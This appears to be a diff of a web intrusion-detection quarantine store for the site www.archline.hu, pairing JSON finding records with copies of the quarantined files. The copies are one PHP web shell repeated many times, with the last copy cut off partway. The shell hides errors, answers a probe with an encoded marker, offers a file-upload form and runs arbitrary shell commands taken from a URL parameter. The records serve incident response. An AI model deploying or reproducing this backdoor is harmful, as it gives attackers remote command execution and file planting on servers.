"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857968,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "logs/_h3x_9pq0ueh6.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4793",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_czrsgpys.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_czrsgpys.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857949,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "logs/_h3x_czrsgpys.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4786",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_ipqsu3tu.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_ipqsu3tu.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838222,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "logs/_h3x_ipqsu3tu.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4785",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_qx0jpbsm.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_qx0jpbsm.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783858339,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "logs/_h3x_qx0jpbsm.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4789",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_qzmhjwqx.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_qzmhjwqx.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783861973,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "logs/_h3x_qzmhjwqx.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4797",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_yajzsubg.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_yajzsubg.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838214,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "logs/_h3x_yajzsubg.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3057",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/_h3x_qljjjjvk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_qljjjjvk.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783858335,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/_h3x_qljjjjvk.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3045",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/_h3x_twr3u1w5.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_twr3u1w5.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857945,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/_h3x_twr3u1w5.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3054",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/_h3x_u9smyqi1.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_u9smyqi1.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838210,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/_h3x_u9smyqi1.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3056",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/_h3x_ve93l4dj.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_ve93l4dj.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783861967,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/_h3x_ve93l4dj.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3046",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/_h3x_wurtsehy.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/_h3x_wurtsehy.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857964,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/_h3x_wurtsehy.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
